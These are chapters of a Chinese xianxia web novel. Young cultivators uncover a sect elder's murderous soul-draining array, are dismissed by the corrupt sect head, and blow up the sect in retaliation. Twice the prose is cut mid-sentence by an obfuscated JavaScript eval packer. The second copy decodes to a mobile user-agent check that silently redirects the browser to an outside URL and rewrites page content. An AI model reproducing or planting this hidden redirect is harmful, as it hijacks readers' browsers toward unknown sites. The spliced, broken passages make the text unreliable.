金不禁打着算盘,比小师妹更快地算出了赔偿金:“你知道明月夜宗门是什么做的吗?那是天庭玉池中诞生的仙玉,又久经月华照耀,一块玉值一块灵石,还是上品灵石,你算算明月夜碎下来的玉块有多少?你怎么就能想到爆炸这个法子呢?” 金不禁抓狂,算盘珠子哗啦啦响。 萧衔蝉讷讷道:“我不是着急嘛,大师兄还有这位道友都在阵中,谢无柩又没有法力,孤身入阵危险重重……金万两,你放心,大不了我卖身进明月夜,总能赚出赔偿给他们的灵石。” “赔什么赔?”金不禁没好气道,“明月夜那么富,还用咱们赔?” 快想办法跑路是正经,至于那张契符,金不禁已经把它和浮云阁阁主一起当成了骗局。 “明月夜?”一个沙哑的声音插入对话,“二位道友,那可不是什么好地方。” 萧衔蝉看去,正是才转醒的吴青雉,她意识到了什么:“吴道友,你是不是知道浮云阁地底有个阴毒的阵法?那你怎么会出现在那里的?” 吴青雉语含悲切:“我是为了找朋友才落入那个阵法的!” 众人又看向虚弱的吴青雉,她半靠在引枕上,气若游丝,眼圈泛红:“只可惜,我去晚了一步……” 想起被吴青雉护在身下的骷髅,众人若有所悟,皆面露不忍。 吴青雉剧烈地咳喘几声:“此事说来话长,我是生灵道修士,在见南山修炼,她是明月夜外门弟子,名叫张小凤。” 明月夜,九州十大门派之一,清北级别的top,同时还是密州无冕之王;见南山,名不见经传的小门派,和野鸡大学差不多,修的还是不入流的生灵道。 按理说,张小凤和吴青雉这辈子恐怕都不会见到彼此,可她们却成了莫逆。 “道长……你说这是……这是小凤?”张喜鹊已经被请到这间房里,她颤抖着,手指轻轻抚摸骷髅的形状,“这怎么会是小凤呢?她不是修仙去了吗?她是我们村这么多年唯一一个被检测出有灵根的人啊!她很优秀的,很优秀的,她怎么会……” 她怎么会变成一具骷髅,脆弱的一碰就化成灰。 张喜鹊瞪大空茫的眼睛,屏住一口气,脸色愈加苍白,像是要昏厥过去。 萧衔蝉连忙扶住快要晕过去的张喜鹊,给她身体里渡入一点灵气。 吴青雉虚弱到哭不出声,干涩道:“我和小凤相识于浮云楼,我是去卖彩羽雉的,她是奉宗门长老之命,去那儿送东西的,我们就这样相识。” 吴青雉每月都去浮云阁卖彩羽雉,张小凤也每月去浮云阁送东西,作为一个小门派的弟子,吴青雉对明月夜这样享誉九州的大门派抱有极大的敬意和好奇,是以遇到明月夜弟子时,她难免按捺不住,前去搭话。 而张小凤并不像其他人那样,看不起见南山这样的小门派,更没有以明月夜弟子的身份自骄,二人发现彼此都是小村落出身,更觉亲密,于是渐渐成了朋友,吴青雉时常与她讨论修行的经历,张小凤也会与吴青雉倾吐自己的烦恼与梦想。 “她常和我说,只要听长老的话,再勤快点、会来事儿点,长老就会收她做内门弟子了。”吴青雉悲戚,“她说当年离开村子时还以为自己很厉害,结果到了明月夜,发现比自己厉害的大有人在,她只能垫底。” “可我不会放弃的!” 吴青雉好像听到了那个瘦削但坚韧的好友的声音。 “我有幸踏入仙途,更有幸入明月夜学习修行,见识天地之广阔,星河之灿烂,便不会半路而返,终有一天,我也会和他们一样厉害,即便前路不会如天才般闪耀。我走在我自己的道上,只要行走,便会前进。” 晶莹的泪水盈满眼眶,终于滑落下来,吴青雉哑声道:“就在两月前,我发现小凤不见了。” 暮霭沉沉,没了明月夜,天空中月亮的痕迹愈发明显。 “不见了?”露白长老怒喝,“姓黄的不见了?那你们还愣着干什么?还不快封锁春江渡口!” 手下讷讷称是,迅速离开。 露白长老在困兽般洞府中踱步,一脚踢翻价值千金的香炉,嗅一下便能清心明目的珍贵香料倾倒一地,他视若无物,手不安地蜷起来,阴谋在心中疯狂滋生。 今夜浮云阁这般大动静,紧接着明月夜便坠落凡尘,普通修士哪有这个手笔,一定是姓黄的算计他! “好啊,姓黄的,你敢算计我,我也不会让你好过!”他保养得益的脸露出狰狞的表情,往日仙风道骨不染世俗的模样荡然无存。 “露白长老,掌门请你去今夕楼。” 门外一弟子匆忙赶来,露白的瞳孔猛然一缩。 余霞铺水中,风乍起,吹皱一江彩绮。 听完吴青雉的叙述,萧衔蝉试图理清思路:“你在明月夜和浮云阁多番询问未果,要离开浮云阁时却误入顶楼,发现了贴满符箓的阵法,你发觉不对劲,又看这阵法也不怎么凶险,便入阵了?” “是。”吴青雉点头,“我自恃金丹期修为,又在此阵感受到一丝小凤的灵气,便入阵了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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半晌,玉箫道君才语调幽幽道:“露白,你可知罪?” 声音平淡无波,却蕴含着骇人的威压。 露白长老立刻双膝跪地:“弟子有负掌门所托,请掌门容些时日,弟子一定会……” “露白。”玉箫道君打断他的话,“当年密州两条交叉的主灵脉断绝,灵脉冲气也随之中断,也因此,明月夜再不能遥挂天际,又断了一道进项,你站出来,说可让明月夜维持往日荣光,本尊信任你,才提拔你做四大长老之一,这些年也多倚重你,由得你们夜家借浮云阁赚得盆满钵满,你就是这样辜负本尊信任的吗?” 露白长老努力平静下来:“掌门容禀,弟子这些年夙兴夜寐,一心为明月夜效力,不敢有一日松懈,今日之事是个意外,求掌门容些时日,弟子一定会让我派与天上明月齐肩。” “全九州的人恐怕都知道明月夜坠落了!”玉箫怒喝,“你还不快去查清楚,到底因为什么你那个灵脉冲气阵才捅出这么大的娄子!” “是。”露白连连保证,转身就出去了。 玉箫道君的入室弟子前来禀报明月夜各处损失,听到他们二人的对话,好奇问道:“师尊,露白长老布了阵法才让明月夜继续遥挂天际?他布了什么阵法?还有这样的阵法?” 玉箫道君抚摸着一管雕龙纹的箫,淡声道:“你无需知晓。” 不管露白都干了什么才维持住明月夜的体面,只要面上不出差错,玉箫道君便懒得过问。 弟子不敢再过问,对着册子道:“唯独门派始祖飞升之地——潮生台破损严重,需得重建,其余各地因护持及时,左不过几万灵石便可修好。” 玉箫道君点点头,正与弟子商议该从哪处拨这一抿子钱,便听到一段悠扬古朴的乐曲,让人顿觉身心舒畅。 弟子听到不绝于耳的乐曲,大惊失色:“这是什么声音?” 玉箫道君吃惊地站起身来,没有注意到弟子的反应,他喃喃自语:“惊山铃响了?” 明月夜原本有三大奇景,一为天上白玉京,二为明月潮生台,三就是春涧惊山铃。 惊山铃是明月夜始祖所建,因她不喜他人贸然登门,也不耐烦看拜帖,所以造了一个铃铛法器,只有特定的人才能拉响铃铛,惊山铃一动,可响彻整个明月夜,无论她在哪处,都能知晓明月夜来人了。 “自始祖飞升后,惊山铃只在密州法会时响起过,至今,已有数千年不曾闻惊山铃之声了。”玉箫道君心道,他缩地成寸,迫不及待想要看到来人。 金桂簌簌飘落,裹挟着幽香扑面而来,青石之间,河流蜿蜒至断崖,猝然降落,形成一道瀑布,一座古朴的门楼跨越在瀑布之上,这座门楼小巧精致,下面还垂挂着一只石铃铛。 天际晚霞已经变成瑰丽的紫色,几人逆光而站,昂然挺立。 萧衔蝉又拉了一下石铃铛,石壁上浓翠的苔藓在暮霭余晖下晃出一片绿影。 “没人来啊。”她踮起脚看河流的源头,“谢无柩,你确定这就是明月夜的门铃吗?” “不会有错,我曾听说明月夜开宗立派的万壑松仙尊特地造出此法器,其友人前来寻她时就会拉响此铃,据说铃声会响彻整个明月夜。”谢无柩道,“你们来明月夜为的是什么?” 萧衔蝉握紧芥子袋里的东西,她斩钉截铁道:“自然是告状,要求明月夜严惩凶手!”语气铿锵,话语未落,她的眼睛突然瞪圆,“来人了!” 她激动地指着前方,一位看不出修为的白衣美男子蹁跹而至。 玉箫道君早在惊山铃响的那一刻就用神识挑剔地扫过这几人,两个修为不高的小修士,还有一个不能再修行的废物,以及一个身负重伤的金丹期女修。 一群老弱病残,穿着都很……随意,可见不是大宗门出身,估计是小门派的弟子,或是捉襟见肘的散修。 玉箫道君给他们下了定义。 至于那个凡人,玉箫道君如漏看了一只蝼蚁般,忽视了她。 因为惊山铃被他们拉响,他才纡尊降贵来到他们面前,如今看到他们的确都很普通,想来惊山铃许是坏了罢。 玉箫道君便不欲浪费时间:“尔等前来所为何事?拜帖何在?” 萧衔蝉道:“没有拜帖,我们是蓬莱弟子。” 看来又是打着蓬莱名号的骗子,玉箫道君甩袖便要走,忽听到这个女修说—— “我们就是炸了浮云阁、牵连你们明月夜摔下来的那伙人,我们宣布对此事负责。” 27. 明月夜(十四) 白玉莹润的大厅两侧,云雾散去,雁翅般站满了两排仙风道骨的明月夜长老,个个白衣翩翩,配箫抱琴。 玉箫道君高坐宝座,在幽幽香气中捏了捏自己的眉心,他深觉今晚去见自称蓬莱弟子的这群人是个错误。 对了,还不确定这伙人究竟是不是真的蓬莱弟子。 萧衔蝉三下五除二,将自己一行人入浮云阁以来所见所闻通通说出,末了,道:“明月夜既享密州供奉,便理应为密州百姓和修士做主。这等害人的阵法是如何出现在浮云阁的,明月夜外门弟子和其他修士又是如何被哄骗进阵法,进而被敲骨吸髓的,还望玉箫道君查个明白,还白玉京一个清净,还天下一个公道。” 玉箫道君不染尘埃坐高台,他不说话,自然有人替他说,明月夜的长老们率先责问—— “此等骇人听闻之事,未经查清怎可胡言乱语。” “依我看,尔等便是近来打着蓬莱名号、四处作乱的骗子。好大胆子,竟敢讹诈我们明月夜!” “区区小修士的话怎能当真,念在尔等年纪尚小,我们不欲计较,快些走吧!” 这事若是真的,那明月夜一个失察的罪名跑不了,若是再传扬出去,难免招致九州其他门派的耻笑。 萧衔蝉才告知真相,便听到一车话,全是讽刺贬低他们的,这些长老或心虚、或焦急、或色厉内荏,但没有一人去查清真相。 吴青雉强撑身体,扶着萧衔蝉站出来:“在下见南山弟子吴青雉,家师乃见南山掌门,在下险些死在白玉京,明月夜若不能给个说法,如何当得起密州之主的名号?如何令我等心悦诚服?” 明月夜众人听到见南山的名头,倒是安静片刻,却听不知哪人嘀咕:“一个小门派的小弟子,竟也敢叫嚣让明月夜给说法,果然是想讹钱吧?” 萧衔蝉深呼吸了一下,胸膛剧烈起伏,据吴青雉所说的话以及张小凤的遗言,死在那阵法的几乎全是明月夜外门弟子,明月夜怎么可能察觉不到自家没了那么多弟子? 可他们没有任何追究查看的举措,不知是高傲到不屑听他人所言,还是浮云阁地下邪阵真的与明月夜脱不了干系。 她只死死盯着玉箫道君,若今天不能有个结果,她绝不善罢甘休! “罢了,既然几位小友这般说,那就去查吧。”玉箫道君不想浪费时间,况且他心中已有了打算。 这事肯定和露白脱不了干系,玉箫道君的手指轻点,暗自思索,到时候就将他推出去得了,至于明月夜还能不能遥挂天际……才给了密州几大世家入宗名额,不从他们那里收取些好处怎么行呢? 还有那露白,当初只是把他当做好用的刀来使,谁成想这些年竟喂大了他的心,正好趁此机会将他踢出去,也好出出这些年被人觊觎掌门之位的气。 在心中算计好所有利益,玉箫道君行事便立即雷厉风行起来,先着人去捉拿黄真人,又顺势在浮云阁里查出不少露白真人的传信玉印,还查出来浮云阁历代阁主全部都是夜家人——露白的族人。 被传唤来的露白真人又惊又怒,惊的是他已经销毁了所有传信往来,这些东西又怎会出现在掌门手里;怒的是他晓得玉箫道君有一箫谱,名曰归元曲,吹此曲可将销毁物件复原。 现如今看此场景,想必是明月夜要将他推出去了!掌门终是容不下他了。 “自从九百多年前密州两条灵脉突然断折,原本借由灵脉冲气才遥挂天际的我派便摇摇欲坠,谁不担心明月夜从此坠落?可谁又真的为明月夜殚精竭虑,做些什么? 唯独我!唯独我为明月夜不堕声名,这才听信了那个黄真人的谗言,掌门,你若是为此罚我,日后谁还敢为明月夜兢兢业业!何况没有修士因此伤亡,弟子并未酿成大祸。” 露白紧握折扇,跪地狡辩。 “我若是知道那孽障急功近利,阴设九转夺灵阵,将修士引入阵法夺其修为,岂会袖手旁观?掌门,徒儿亦是被歹人蒙蔽了!好在没有多少伤亡,还请掌门给徒儿一个亡羊补牢的机会。” 为了那些蝼蚁一样的人,难道要他堂堂明月夜长老赔命吗? 玉箫道君沉默着倚靠在宝座上,他有些动容和不忍,虽然露白贪欲过甚,觊觎掌门之位,但他着实是条好用的狗。 何况他说的有理,若处置了他,谁还会勤恳忠心为明月夜做事? 萧衔蝉不知暗设阵法,阴夺修为之事倒底有没有露白真人的手笔,但他此刻因为着急撇清干系,甚至说出无人伤亡这种视人命如草芥的话,这让她的心口燃起一簇火,她还记得在阵法中看到的肉烂泥、骨成灰的场景,这叫没多少伤亡? 萧衔蝉见玉箫道君陷入沉默,不由冷声道:“没有伤亡?明月夜外门弟子赵成因此阵而死,明月夜外门弟子张小凤因此阵而死,见南山弟子吴青雉因此阵而伤。” 她一字一顿说出这些名字,眼如利剑,盯着露白和诸位明月夜长老。 “且那法阵中骨灰堆积如沙漠,不知多少明月夜弟子丧命于此,那阵法里侵满他们的血肉法力,这在诸位眼中,也叫没什么伤亡?” 玉箫道君长叹一声:“然也,吾等修士虽脱离凡身,但怎可视人命如草芥,此话实在有伤天和,只可惜那阵法已破,再难找寻枉死之人的尸骨,对了,萧小友,你等入那阵法,可有用留影石记录证据?可曾救出些可怜人的尸骨魂魄?” “那阵法邪得很,魂魄亦能炼化何况尸骨……”萧衔蝉说到一半,心有所悟,慢慢换了说法,“我们没有留影石那等仙器,更没有救出一星半点的尸骨。” 她看到玉箫道君微不可查地点点头,仿佛很是满意她的回答,今夕楼紧张压抑的气氛也因此话而消散。 诸位长老如同吃了灵丹妙药,突然都挺直了脊背,又变回高大泰然的样子,个个挂上高深莫测的笑容。 萧衔蝉双手紧握成拳,指甲在掌心抠出深深的痕迹。 这些修士并不是因为失察和逝去的人命而紧张,他们是为了自己可能消失的荣誉和声望而紧张。 她还看到大殿当中的露白没有掩藏的得意神情。 玉箫道君靠在宝座上,完全放松了下来,说出对露白的最终判决:“罢罢,露白,你管了许久外门弟子事,却失察至此,即便被人蒙骗也不能轻纵,便去思过崖,静思己过一百年。” 话音刚落,露白便消失在大殿中。 “他故意引弟子入邪阵,道君便只叫他静思己过?”一声怒喝响彻今夕楼,吴青雉因中气不足,声音越来越虚,“一百年,比起区区人命,真是好大的惩戒!” 玉箫道君似是在看不懂事的小孩:“吴小友,本座知晓见南山因比不上明月夜一直怀恨在心,但你不能因此就污蔑我派长老戕害外门弟子,你有什么证据?” “有证据!”吴青雉急道,她上前一步,试图唤醒他们的公义道心,“明月夜外门弟子张小凤曾给家乡好友写过书信,上面提到过长老令她将符箓贴在某一阵法上。” 那时她还以为自己的努力被人看到并认可了,她以为自己光明又灿烂的未来快要来了,她迫不及待地向所有朋友分享这份喜悦。 自从来到修真界就一直被忽略的张喜鹊站了出来,当着满殿修士打量的目光,从怀里取出一封信。 非常普通的黄麻纸,上面的字迹方正有力,清楚地记载了张小凤那时激动的心情,这也是她最后一封寄给家乡旧友的信。 玉箫道君长指微抬,那张纸如枯叶落到他的掌心,玉箫只垂眸一瞬,便道:“你怎么证明这是张… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913953|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …张小凤的信?” 张喜鹊愣住了,半晌,她结结巴巴道:“这就是小凤的字,自从她进了明月夜,几乎每月都会给我们寄信,尊者,我不会骗你……” “本尊晓得,谅你也没这个胆子。”玉箫道君淡然,声音充满怜悯,“只你是个凡人,不晓得修真界的规矩,明月夜从不许弟子向外传递消息,张小凤是如何寄信给你的?” 张喜鹊更加怔忡,小凤说过,规矩是规矩,人情是人情,凡是初入修真界的人,大多不能立即斩断凡尘,明月夜里也有凡人帝国的皇子公主,更有修真世家的子弟,这些人常与旧亲联络,明月夜都睁一只眼闭一只眼。 她好像陷入这光怪陆离的大殿,高贵修士的话如五行山一样,将她越压越低。 “何况修真界世事复杂,远非你一个凡人能了解的。”玉箫道君宽容道,“这封信绝非我派外门弟子所写,许是你家人为避免你伤心,所以假装成踏入仙途的修者写信给你。” 他手指微动,那张枯叶般的信便成了灰:“也罢,你们小门派修行之路太难,心生嫉妒,有些歪心思也正常,本座徒长尔等数岁,便当结个善缘。” 白衣广袖一挥,伴随阵阵清香,一万上品灵石便出现在萧衔蝉眼前。 “你们拿了钱便好生修炼吧,再不可起歪心思了,须知天道轮回,善恶有终。” 萧衔蝉看向高坐在上的修士,他宽容又慈和,让她愈加恶心。 “呵。”一声冷笑打断大殿凝滞的气氛。 玉箫道君看去,原来是那个再不能修炼的废人。 谢无柩浅红的嘴唇勾起一个讽刺的笑容:“难怪你们明月夜的惊山铃再没响过。” 玉箫道君和满殿长老一怔,喝问道:“什么意思?” 谢无柩并不搭话,只乜了一眼地上的灵石。 萧衔蝉盯着玉箫道君淡漠的眼睛:“明月夜的行事风格,在下领教了。” 她转身掐云诀,示意众人随她离开,至于灵石,她未给一丝视线。 洁白无瑕的明月夜在他们背后越来越小,最后变成一点黯淡的光,闪烁一下,夜风穿过萧衔蝉的头发,片片绿叶红花漫天飞舞,像一曲挽歌。 秦含玉的手紧紧握住刀,魔气翻滚,双目赤红:“师姐,何不叫我去杀了他们,这些指鹿为马、尸位素餐的肉食者没一个无辜!” “打不过。”萧衔蝉闭了闭眼,“咱们还带着青雉喜鹊,我怕和他们打起来后,他们发现小凤的尸骨,到时候连她在这世上最后一点痕迹也保不住。” 看到玉箫毁坏张小凤书信的那一刻,萧衔蝉就庆幸自己没有说出张小凤的尸骨被救了出来。 “明月夜,亏我以前还觉得他们是才高行洁之辈,现在看来,呵。”秦含玉嗤笑。 “放心,不会叫他们好过的!”萧衔蝉冷笑,“还记得大师兄吗?” 秦含玉一愣,想起大师兄和他们一同出来,但是自从进了明月夜就没看见过他,她不由问道:“大师兄他?” 她话头止住,看见黑斗篷正在不远处等他们。 花沸雪迎上来:“没出什么事吧?妙妙,你交代师兄做的事,师兄都做好了。” 秦含玉和谢无柩一起看向萧衔蝉,只听她冷声道:“他们不愿给公道,便怨不得我们自取了。” 话音最后一个字和着一声惊天动地的爆炸声一起响彻云霄。 只见那黯淡一点光变成数块粉尘,在无悲无喜的月光下,明月夜彻底变成尘埃了。 当着吴青雉和张喜鹊惊恐的眼神,萧衔蝉道:“放心,我不是什么杀人狂魔,没有滥杀无辜。” 吴青雉和张喜鹊看看已化成废墟的明月夜,又看看萧衔蝉,两人对视良久,突然握拳:“干得漂亮!” 28. 春江渡口 见南山的粮油店里,萧衔蝉一行人围坐在一起,窗外嘈杂声不断,所有听说明月夜碎了的修士都赶来看热闹,搅动着一城迷醉的香气。 白玉京的人前所未有的多,逼得明月夜一边忙着修整自门派,一边还要派出人手严查各处关卡,免得有心人趁机生事。 吴青雉自从明月夜出来,强撑的身体便软了下来,时青谷抱着师姐喂药,此时他也不在意被师姐的灵鸡吃谷子之仇了,眼眶通红,咬牙切齿:“明月夜,好个明月夜!我原以为大门派定都是德才兼备者,没想到……” “没想到尽是衣冠禽兽之徒。”萧衔蝉面有怅然道,“我也以为名下无虚士……不过我没让他们讨着好。” 她和大师兄相视而笑:“大师兄,你将爆炸符都贴对了地方吧?” “放心。”花沸雪点头,“我用了师父给的潜行符,跟着露白去了思过崖,将符贴在他身旁,符箓的威力控制得刚刚好,除了离符最近的露白,不会伤到其他人,只会炸楼。” 早在萧衔蝉决定去明月夜时就做好两手准备,若明月夜当真清风明月,那最好;如若不是,她让二师兄在外等候消息,若有个万一,就去黑市买些假身份,助他们逃离密州,让大师兄随他们潜行进明月夜,时刻准备接应。 那时看到玉箫道君只粗略查探后就要保名下弟子,萧衔蝉便在飞讯密域知会大师兄。 倘若不是明月夜炸了,只怕他们也难顺利离开。 “只没想到他们的思过崖就在主楼下面,主楼炸了,连带整个宗门都碎了。” 秦含玉拊掌大笑:“这才痛快,恰好那群道貌岸然之辈都在主楼,活该遭报应。” 萧衔蝉与师妹笑闹,只笑不达眼底,她心中时而浮现明亮的今夕楼、威严的大能,时而浮现晦暗的浮云阁、森森的白骨。 真相到底是什么呢? 可是知道真相又能怎样?当人处于弱小时,连正义都得靠强者施舍才能得到,且最后得到的正义说不定还是虚伪的正义。 “娘——” 一道声音打断萧衔蝉沉浸的思绪,大家看向秦含玉,准确来说,是秦含玉袋子里的蛇。 这条黑蛇在爆炸时突然变成一个裸男,差点闪瞎大家的眼睛,好在裸男的样貌只维持了一息,也只有靠近他的秦含玉看清了他的样子。 很快,他就从裸男变回了黑蛇,然后时不时张大嘴巴,将嘴角的皮肤都撑薄,字正腔圆地喊一声“娘!” 秦含玉一脸烦躁与尴尬:“这小畜生不知怎么的,一开口就喊我娘!” “许是雏鸟效应。”萧衔蝉笑,“野兽会把睁眼看到的第一个活物当做母亲。” 她说着说着突然一顿,这条蛇是从浮云阁地下突然出现的,可那里明明镇压的是一条龙啊! 蛇,长虫,黑蛇,黑龙…… 她突然想起什么,连忙问时青谷:“时道友,你曾说过白玉京的白玉山是从天而降的,是来自上界的?” 时青谷不明所以地点头。 “白玉京以前也这么香吗?” 自打来到白玉京后,萧衔蝉就嗅到了这里不同别处的香气,非花非粉,而是一种醉人的酒香。 时青谷细想:“这香气好像是和白玉山一同出现的。” “我知道了!”萧衔蝉右手握拳砸桌,她看向师兄妹们,“你们还记得白玉京流传甚广的那个小曲吗?白玉山,仙果酒,一个小虫往里走,黑漆漆,滑溜溜,小虫原是条大龙。” 她念出这首本来寓意特别的词:“咱们在九转夺灵阵里只看到了龙影,那就说明这条蛇就是黑龙!蛇又名长虫,它又黑漆漆滑溜溜的,就像词里说的那样,小虫原是条大龙!” 花沸雪将前因后果联系,跟上师妹思路:“你是说这条龙是和白玉山一同出现的?它也来自上界?” “是!我有一个大胆猜测。”萧衔蝉道,“密州不知出了什么变故,灵脉断折,导致使明月夜千百年来能遥挂天边的灵脉冲气没有了,恰好此时,从上界掉下来一座山和一条龙,露白为了明月夜还能像以前一样维持大派作风,便和黄真人一起用邪阵窃取黑龙的修为,去支撑明月夜悬挂天边。” 想来明月夜捉龙时虽然隐匿身形,可倒底被人察觉,被人记下来,经过千年时间的冲刷,这段捉龙历史演变成人们熟知的曲子。 谢无柩垂眸道:“那个阵法里,阵眼中的玉柱,是龙骨。” 大家看向他。 谢无柩继续道:“龙之脊骨有九百块,上可撑天,下可立地,他们施以秘法,以龙骨去支撑明月夜,也难怪在没有灵脉冲气的情形下,还能不染尘埃这么多年。只是黑龙历经抽骨囚禁的屈辱,走火入魔,其祟气都快压不住了,他们这才布置了九转夺灵阵,试图用修士的灵力去压黑龙的祟气。” “原来是这样,仅仅为了让门派维持体面,便一而再再而三害人……”张喜鹊悲怒交加,瘫软在地上哀嚎,“这群王八蛋,我们凡人就这么贱吗?我们这些普通人只想好好过自己的日子啊!难道连这点心愿都不能实现吗?” 萧衔蝉眼眶泛红,愧疚如潮水般,让她感到窒息,她蹲下身:“对不起,我没能帮小凤讨回公道。” 她想拍拍张喜鹊的肩膀,指尖却僵住,盖因她也是修士,此时此刻,萧衔蝉为自己能修行而自厌。 修者翻手为云覆手雨,视凡人如蝼蚁,萧衔蝉对此话一直没有确切认知,可今天,她看到凡人被修士当做蝼蚁,低阶修士被高阶修士当做蝼蚁,或许高阶修士在神仙眼中也是蝼蚁。 在这样的世道里,她没法堂堂正正地帮枉死之人讨个清清白白的公道,只能泄愤,她感到深深的无力。 张喜鹊摇头,从领口掏出个东西:“萧道长,你是个好人,我没什么值钱的东西,只有个福牌,是我爹娘在仙帝祠求来的,虽不值钱,却保佑我平安长大,又遇见你们这些好心人,如若萧道长不嫌弃,我想把福牌赠予你。” 萧衔蝉看着张喜鹊哭红的双眼,她想说自己懦弱,想说自己受之有愧,想说自己与那些修士并无不同,可最终她只是郑重接过福牌,缄口不言,悄悄推门出去。 哀哀哭声穿过门,和风远去。 萧衔蝉擦擦眼角,打开装灵石的芥子袋,准备取出一些灵石炼成金银赠予张喜鹊,也好买副棺材给张小凤,结果她刚打开袋子,就被满满一袋灵石闪花了眼。 萧衔蝉伸手进去,芥子袋都将她整条胳膊吞进去了,指尖却一直没有触到底还——那张契符竟然是真的! “你不是很喜欢钱吗?舍得送出这么一大笔?” 谢无柩的声音从背后传来,萧衔蝉娴熟地将灵石变成金子,手上动作不停,回答道:“是很喜欢,但有时候,有些东西远比钱重要。” “呵。” “你也别笑我天真,这些钱不全给喜鹊,还有那些早早死在浮云阁地下的人,他们也有家人,我想拜托吴道友将这些钱送到他们家人手中。” 谢无柩挑眉:“这些灵石是你和同门一起赚的,你这样处理他们的财产,他们会愿意?” 萧衔蝉自信道:“他们肯定愿意!” “谁说的?”金不禁也走了出来,看到一堆金银灵石,眼珠子都直了,正要说些什么,就对上师妹的眼睛,他烦躁地抓脑袋,“算了算了,大师兄是个烂好人,小师妹又是你的跟班,他们肯定同意。” 萧衔蝉微微一笑。 谢无柩有些意外:“金道友呢?” 金不禁蹲在萧衔蝉旁边:“我也同意,千金散尽还复来嘛。萧妙妙,你多少给咱们留点……” “知道了,这些灵石给你,你赶快买一些假身份回来,咱们快点离开密州。” 屋内几人痛哭一场,渐渐平复了心绪。 时青谷擦掉眼角的泪,准备离开白玉京:“明月夜行事实在不光明磊落,诸位要不随我回见南山吧,明月夜虽是密州最大的门派,但我们南山也是不容人任意欺辱的!” 萧衔蝉摇头:“不行,若他们真的丧心病狂到杀人灭口的地步,我们最好分头行动。”她站起身来,向吴青雉和时青谷作了一揖,“我有一事劳烦二位。” 时青谷不等她说完就道:“我明白,是送张小凤尸骨和她的朋友安全回家吧?你放心,我一定会护住她们的!” 粮油店的后院,米满仓豆满缸,时青谷和吴青雉带着张喜鹊一行人,与萧衔蝉他们作别。 时青谷依依不舍:“经此一事,我已将诸位视为莫逆,日后一定要常用传音符联系。” 他自觉为自己要找师姐的缘故,这才将诸位好友牵扯进明月夜的大阴谋里,心中愧疚不已。 在看到萧衔蝉和知己谢棺时他动情道:“好在此番谢道友能圆了做花魁的梦,我这心里才能稍感安慰些。” 谢无柩默默在自己日后杀人名单上,重重地将萧衔蝉三个字描红了。 时青谷又道:“愿谢道友与萧道友鸿案相庄,我黼子佩,比翼齐飞。” 秦含玉瞪大眼睛,猛得转头,花沸雪因为转头太快,脑袋差点掉了,他摁住头骨,将脑袋摁回颈椎上,发出令人牙酸的声音。 两人一左一右,目光透露着同一个含义:你俩什么时候背着我们搞在一起了? 谢无柩满头问号,什么?鸿案相庄我黼子佩比翼齐飞是他想的那几个成语吗?莫非这见南山修士以为这个妖修倾慕于他? 萧衔蝉自来到修真界后,为写狗血文水字数,水到文学素养迅速后退,前面的鸿案相庄、我黼子佩根本没听懂,只听懂了后面的比翼齐飞。 心想时道友用词真朴实,就因为她驾云时常带上谢道友,直接便用比翼齐飞这个成语。 修真界的修士真的需要九年义务教育提高文化水平啊! 她好心道:“这个成语形容我们不合适,我们俩……”她思索了一下,“应当是双宿双飞?不不不……应该是肝胆相照。” 果然将知识都还给老师了,竟然说出双宿双飞这样暧昧形容的词。 时青谷却一脸我懂的样子:“萧道友放心吧,我明白你的意思,双宿双飞这个词再合适不过!你们除了一同驾云,并肩齐飞,那天也同屋而眠,正是双宿双飞。” 时青谷抛下一颗炸弹,而后潇洒地挥了挥手:“祝愿我等再见之日,皆行满功圆。” 他身后的朋友们则一脸深沉地看着他消失在夜幕中。 人走了,但让人窒息的尴尬还在。 花沸雪一脸怕自己孩子早恋,却又觉得二百五十岁着实不算孩子的纠结神情。 秦含玉则想起师姐一去杳无音信的那晚,原来是和谢道友…… “咳咳,我去找二师兄,顺带买些衣服,咱们得换个打扮。”萧衔蝉挠挠头,赶忙远离诡异的沉默。 夜色空茫,皓月当空,天上繁星点点,街上人影幢幢,个个都在看热闹,但没过多久,便有修士严查还在走动之人的身份。 萧衔蝉屏气敛息,躲在一旁,白玉京连天上驾云或驭舟的修士都要拦下盘问一二,她猜测明月夜已经发现阵法中的龙不见了。 她自出岛后第一次见识到九州大派的实力有多么强悍,凡是被明月夜拦下的修士,没有一个敢多置喙的,全都老老实实任明月夜检查。 这更坚定了她要抓紧时间逃出去的决定。 就在萧衔蝉买了衣服回来,还在纠结怎么解释为什么那晚和谢棺共处一室,意外陡生,谢无柩不见了。 室内气氛渐渐焦躁。 “这可怎么是好!”萧衔蝉焦急不已,“谢棺现在一身伤病,比凡人还不如,他一个人在外,遇到危险怎么办?” 花沸雪也着急:“我看他是跟着你出去,还以为他与你一起,原来他竟自行离开了。” 萧衔蝉皱眉,难过道:“他肯定是觉得我们要跑路,一路上危险重重,他怕自己是累赘,连累咱们。” 金不禁捏着手里一沓假文书:“我们一同出生入死,怎么可能觉得他是累赘,谢道友什么都好,就是心思太重了,我也为他备了一份身份文书,他肯定要跟我们一起走啊!” 几人当机立断,决定一边出城,一边沿路找一找谢棺,兵分四路,最后在渡口汇合,也免得一起出城,目标太大,被有心人发现踪迹。 天光熹微,月牙似掐痕,一轮红日渐出云霄,谢无柩坐在春江旁的茶棚里,等待最早离城的鸳鸯舟。 鸳鸯舟与凌云舟不同,它是被驯化的载人灵兽,鸳与鸯总是一起出行,比翼齐飞,可日行十万八千里,共载一万八千人。 谢无柩手指摩挲着光滑的茶杯,不动声色地打量周围,春江与白玉山下的大湖相通,春江渡自然有许多明月夜的修士,只不过无人注意这间小小的茶棚。 